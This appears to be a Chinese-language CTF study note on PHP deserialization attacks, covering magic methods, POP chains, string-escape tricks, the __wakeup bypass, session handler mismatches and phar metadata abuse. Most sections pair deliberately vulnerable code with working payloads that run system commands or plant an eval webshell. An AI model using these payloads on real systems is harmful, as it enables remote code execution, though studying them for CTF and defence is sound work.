触发时机 实例化对象 对象引用完成,或对象被销毁反序列化之后 序列化serialize()之前 反序列化unserialize()之前 把对象被当成字符串调用(使用echo或者print) 把对象当成函数调用 当使用 clone关键字拷贝完成一个对象
功能 提前清理不必要内容 对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数
返回值 需要被序列化存储的成员属性
__call() __callStatic() __get() __set() __isset() __unset()
触发时机 调用一个不存在的方法 静态调用不存在的方法 调用的成员属性不存在 给不存在的成员属性赋值 对不可访问属性使用 isset()或 empty() 对不可访问属性使用 unset()
功能
参数 arg1,arg2 arg1,arg2 $arg1 arg1,arg2 $arg1 $arg1
返回值 调用的不存在的方法的名称和参数 调用的不存在的方法的名称和参数 不存在的成员属性的名称 不存在的成员属性的名称和赋的值 不存在的成员属性的名称 不存在的成员属性的名称

例题

<?php
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];#benben为对象序列化后的字符串
$b = unserialize($get);#反序列化后赋值给b
$b->displayVar() ;#调用方法触发可控代码

?>

传入

benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}

反推法

  • 关联点:如何让$test调用evil里的成员方法action()
  • 解决思路:给$test赋值为对象 test=new evil()
<?php
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();#这个使得触发nomal的action()
    }
    public function __destruct(){#unserialize执行
        $this->test->action();#3.触发$test的action()
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;#2.eval调用test
    public function action(){
        eval($this->test2);#1.可利用漏洞点在eval()
    }
}
unserialize($_GET['test']);
?>

构造序列化

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }
}
class evil{
    var $test2 = "system('ls');";#1.构造执行语句

}
$a = new index();
echo urlencode(serialize($a));
?>

POP链构造

POP链

在反序列化中我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法交“面向属性编程”,即POP(Proiperty Oriented Programming)

POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload

POC编写

POC(Proof of concept)中文叫概念验证,在安全界可理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者观点的一段代码

例题

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}

倒推法,注意要调用类才触发魔术方法

image-20240915000228830

删去方法,开始赋值

<?php
//flag is in flag.php
class Modifier {
    private $var = 'flag.php';#私有属性在这里赋值
}
class Show{
    public $source;#Show obj
    public $str;#Test obj
}
class Test{
    public $p;#Modifier obj
}
    $a = new Show();
    $a->source = $a;
    $b = new Test();
    $a->str = $b;
    $c = new Modifier();
    $b->p = $c;
    echo serialize($a);
?>
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

字符串逃逸

前置知识

变量数不对应

image-20241001221415071

字符串长度不对应

image-20241001222341585

和原来类的个数不对应

image-20241001222227958

「"」的判断

image-20241001222611465

结束字符

image-20241001223019823

属性逃逸

一般在数据经过一次serialize在经过unserialize,在这个中间反序列化的字符串变多或者变少的时候,才有可能存在反序列化属性逃逸

注意:一般在前面逃逸多「";」后面逃逸多「;}」

字符减少

反序列化以「;}」结束,后面的字符串不影响正常的反序列化

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候,有可能存在反序列化属性逃逸

反序列化字符串减少逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

image-20241001230840814

字符增多

反序列化字符串怎多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性

image-20241001232240798

增多例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

我们需要传入

";s:4:"pass";s:8:"escaping";}#29

所以输入29个php,传入:

?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

减少例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

我们需要传入

";s:4:"pass";N;s:3:"vip";b:1;}

flag替换成hk吃掉两个字符

原来的序列化:

O:4:"test":3:{s:4:"user";s:12:"233233233233";s:4:"pass";s:15:"233233233233233";s:3:"vip";b:0;}
";s:4:"pass";s:15: #19个字符

吃掉19+1个字符需要10个flag

传入:

?user=flagflagflagflagflagflagflagflagflagflag&pass=5";s:4:"pass";N;s:3:"vip";b:1;}

wakeup绕过

反序列化漏洞:CVE-2016-7124

版本限制:PHP5<5.6.25 PHP7<7.0.10

产生原因:如果存在__wakeup方法,调用unserialize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值,大于真实属性个数,会跳过__wakeup方法

O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:0;}

绕过:

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:0;}

例子:

<?php
error_reporting(0);
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>

读题发现:O后面不能加数字、wakeup会读不到flag

传入

O:+6:"secret":3:{s:4:"file";s:8:"flag.php";}

浏览器需要编码成下面

?cmd=O%3A%2B6%3A%22secret%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

引用的利用方式

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);#把所有的「*」替换掉
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";#secret有「*」
    if ($o->secret === $o->enter)#检测是否相等
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

绕过这个替换我们可以使用引用,让enter的值引用secret的值,构造:

<?php
class just4fun {
    var $enter;
    var $secret;
}

$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
?>

传入

?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}#R代表引用,2指的是enter

session反序列化漏洞

当session_start()被调用,或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后存储目录

(默认/tmp)

格式有多种,常用有三种

漏洞的产生:写入格式和读取格式不一致

image-20241009210430517

session

php

<?php
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>
?ben=haha

存储:

benben|s:4:"haha";

php_serilalize

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
?ben=dazhaung&b=666

存储:

a:2{S:6:"benben";S:8:"dazhaung";s:1:"b";s:3:"666";}

php_binary

image-20241011160553974

利用

save.php——利用php_serialize存储

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

vul.php——利用php存储

<?php 
ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

构造

<?php
class D{
    var $a="system('whoami');";
}
echo serialize(new D());
?>

提交

?a=|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}

存储为

a:1:{s:3:"ben";s:39:"}|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}";}

此时读取使用php_serialize读取则解析成

a:1:{s:3:“ben”;s:39:"}|O:1:“D”:1:{s:1:“a”;s:17:“system(‘whoami’);”;}";}

键名+竖线+序列化后的值

phar反序列化漏洞

phar类似jar文件,是php的打包文件,对于php5.3以上phar后缀默认开启支持

文件包含:phar伪协议,可读取.phar文件

image-20241011170450086

phar协议解析文件的时候会触发对manifest字段的序列化字符串进行反序列化

漏洞原理

调用phar伪协议(phar://test.phar)可读取.phar文件;

phar协议解析文件会自动触发对manifest字段的序列化字符串进行反序列化

phar需要PHP>=5.2 在php.ini把phar.readonly设为off

image-20241011171653281

例子:

<?php
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));

构造文件的php:

<?php
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

传入

?filename=phar://test.phar&a=system('ls');

(技巧:eval(eval($_GET[“a”]))可以直接传入a执行指令,不用再计算序列化的长度)

使用条件

  • phar文件能上传到服务器端(不看后缀,可改成别的后缀)
  • 要有可用反序列化魔术方法作为跳板
  • 要有文件操作函数,如file_exists(),fopen(),file_get_contenmts()
  • 文件操作函数参数可控,且"/"、phar等没有过滤

网站的管理员,似乎是个萌新🤔,CTBUer